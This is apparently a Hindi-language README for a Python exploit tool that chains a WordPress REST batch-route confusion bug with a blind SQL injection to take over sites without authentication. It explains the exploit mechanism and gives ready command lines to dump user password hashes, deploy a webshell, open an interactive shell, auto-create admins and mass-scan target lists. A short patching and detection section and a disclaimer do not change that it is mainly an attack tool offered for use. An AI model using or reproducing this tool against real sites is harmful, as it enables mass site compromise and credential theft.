
Python exploit tool जो unauthenticated WordPress RCE, database read, और webshell deployment प्राप्त करने के लिए CVE-2026-63030 REST batch-route confusion को CVE-2026-60137 SQL injection के साथ chain करता है।
लेखक: LANGZ
CVE: CVE-2026-63030 (CVE-2026-60137 के साथ चेन किया गया)
गंभीरता: क्रिटिकल (CVSS 9.8)
प्रकार: प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन (RCE)
यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
इस टूल का उपयोग करके, आप सहमत हैं कि:
यदि आप अनधिकृत रूप से किसी सिस्टम के विरुद्ध इस टूल का उपयोग करते हैं, तो आप अपराध कर रहे हैं।
लेखक ऐसी कार्रवाइयों का समर्थन, अनुमोदन, या उनके लिए कोई जिम्मेदारी नहीं लेता है।
CVE-2026-63030 WordPress कोर में एक REST API बैच-रूट भ्रम दोष (CWE-436) है, जिसे संस्करण 6.9 में पेश किया गया था। जब इसे CVE-2026-60137 (जो WP_Query के author__not_in पैरामीटर में एक ब्लाइंड SQL इंजेक्शन है) के साथ चेन किया जाता है, तो यह एक अनऑथेंटिकेटेड हमलावर को डिफ़ॉल्ट WordPress इंस्टॉलेशन पर पूर्ण रिमोट कोड एक्ज़ीक्यूशन प्राप्त करने की अनुमति देता है।
एक हमलावर क्या कर सकता है:
यह खतरनाक क्यों है:
WordPress को पैच किए गए संस्करण में अपडेट करें:
| वर्तमान संस्करण | अपडेट करें |
|---|---|
| 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.0 – 6.8.5 | 6.8.6 (केवल SQLi फिक्स) |
नोट: WordPress ने जबरन ऑटो-अपडेट सक्षम किए, लेकिन जिन साइटों में ऑटो-अपडेट अक्षम हैं या प्रबंधित होस्टिंग जो अपडेट में देरी करती है, वे अभी भी उजागर हैं। सत्यापित करें कि अपडेट सफलतापूर्वक लागू हुआ है।
/wp-json/batch/v1 पर POST अनुरोधों को ब्लॉक करें?rest_route=/batch/v1 पर POST अनुरोधों को ब्लॉक करेंइनकी तलाश करें:
/wp-json/batch/v1 या ?rest_route=/batch/v1 पर असामान्य POST अनुरोध/wp-content/cache/ या अन्य वेब-सुलभ निर्देशिकाओं में संदिग्ध PHP फ़ाइलेंयदि आपको समझौते के संकेतक मिलते हैं, तो केवल फ़ाइलों और एडमिन खाते को हटाना पर्याप्त नहीं है। पूर्ण घटना प्रतिक्रिया करें और पूर्ण सिस्टम पुनर्निर्माण पर विचार करें।
एक्सप्लॉइट चेन दो कमजोरियों को जोड़ती है:
WordPress के REST API बैच प्रोसेसर (serve_batch_request_v1) में एक ऑफ-बाय-वन इंडेक्सिंग बग है। जब wp_parse_url() एक सब-रिक्वेस्ट पथ (जैसे, "///") पर विफल होता है, तो परिणामी WP_Error को $validation[] में पुश किया जाता है लेकिन $matches[] में नहीं। यह दोनों सरणियों को डीसिंक्रोनाइज़ करता है, जिससे प्रत्येक बाद के अनुरोध को गलत हैंडलर के अंतर्गत भेजा जाता है।
एक बैच को दूसरे बैच के अंदर सावधानीपूर्वक संरचित करके, एक हमलावर एक एंडपॉइंट के स्कीमा द्वारा मान्य किए गए अनुरोध को पूरी तरह से भिन्न एंडपॉइंट के कॉलबैक के माध्यम से रूट कर सकता है — अनुमति जाँचों को पूरी तरह से बायपास करते हुए।
भ्रमित अनुरोध WP_Query के author__not_in पैरामीटर में पहुँचता है। WordPress स्ट्रिंग को एक सरणी में कास्ट करता है लेकिन absint() सैनिटाइज़ेशन को छोड़ देता है, जिससे कच्चा SQL इंजेक्शन संभव हो जाता है। टूल इसका उपयोग करता है:
UNION SELECT)WP_Post ऑब्जेक्ट के साथ WordPress के ऑब्जेक्ट कैश को ज़हर देने के लिएएक बार सेटअप पूरा हो जाने के बाद (टेबल प्रीफिक्स और एडमिन ID की खोज), एस्केलेशन पेलोड एकल HTTP अनुरोध में फायर होता है:
UNION के माध्यम से नकली पोस्ट)इसके बाद टूल OS कमांड निष्पादन के लिए प्लगइन-आधारित webshell तैनात करने के लिए उत्पन्न एडमिन क्रेडेंशियल का उपयोग करता है।
# Single target check
python3 wp2shell.py http://target.com
# Check with active SQLi confirmation
python3 wp2shell.py http://target.com --confirm-sqli
# Read database (fingerprint)
python3 wp2shell.py http://target.com --read --preset fingerprint
# Read user logins and password hashes
python3 wp2shell.py http://target.com --read --preset users
# Deploy webshell and run a command
python3 wp2shell.py http://target.com --shell --cmd id
# Interactive shell
python3 wp2shell.py http://target.com --shell -i
# Mass scan from file
python3 wp2shell.py targets.txt
बिना किसी तर्क के चलाएँ ताकि इंटरैक्टिव मेनू खुल जाए:
python3 langz.py
══════════════════════════════════════════════════════════════
██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗
██║ ██╔══██╗████╗ ██║██╔════╝ ╚══███╔╝
██║ ███████║██╔██╗ ██║██║ ███╗ ███╔╝
██║ ██╔══██║██║╚██╗██║██║ ██║ ███╔╝
███████╗██║ ██║██║ ╚████║╚██████╔╝███████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝
▓▒░ L A N G Z T O O L S ░▒▓
Author : LANGZ
CVE : (CVE-2026-63030)
──────────────────────────────────────────────────────────────
[1] Single Target - Check
[2] Mass Target - Check
[3] Single Target - Auto Admin
[4] Mass Target - Auto Admin
[5] Exit
──────────────────────────────────────────────────────────────
Results -> Results/results.txt
══════════════════════════════════════════════════════════════
यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
लेखक LANGZ इस टूल के कारण होने वाले किसी भी दुरुपयोग या नुकसान के लिए कोई दायित्व नहीं मानता है।
लेखक: LANGZ
CVE: CVE-2026-63030
| पहलू | विवरण |
|---|
| प्रभावित संस्करण | WordPress 6.9.0 – 6.9.4, WordPress 7.0.0 – 7.0.1 |
| केवल SQLi प्रभावित | WordPress 6.8.0 – 6.8.5 (केवल CVE-2026-60137) |
| आवश्यक प्रमाणीकरण | कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| प्रभाव | पूर्ण साइट समझौता — डेटाबेस पढ़ना/लिखना, मनमाना PHP फ़ाइल अपलोड, OS कमांड निष्पादन |
| शोषण स्थिति | जंगल में सक्रिय रूप से शोषित; 62,802+ अद्वितीय हमलावर IP देखे गए |
| फ़्लैग | विवरण |
|---|
--timeout | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 15) |
--proxy | HTTP प्रॉक्सी (जैसे, http://127.0.0.1:8080) |
--threads | मास स्कैन के लिए समानांतर थ्रेड (डिफ़ॉल्ट: 50) |
--sleep | ब्लाइंड पुष्टि के लिए SQL टाइमिंग विलंब (डिफ़ॉल्ट: 3) |
--samples | पुष्टि के लिए टाइमिंग जोड़े (डिफ़ॉल्ट: 3) |
--confirm-sqli | सक्रिय SQLi पुष्टि पेलोड भेजें |
--preset | fingerprint या users |
--query | पढ़ने के लिए कस्टम SQL अभिव्यक्ति |
--prefix | डेटाबेस टेबल प्रीफिक्स (डिफ़ॉल्ट: wp_) |
--max-length | प्रति मान अधिकतम वर्ण (डिफ़ॉल्ट: 128) |
--technique | auto, union, blind, या error |
--user | एडमिन उपयोगकर्ता नाम (--shell के लिए) |
--password | एडमिन पासवर्ड (--shell के लिए) |
--cmd | लक्ष्य पर चलाने के लिए कमांड |
-i, --interactive | इंटरैक्टिव शेल खोलें |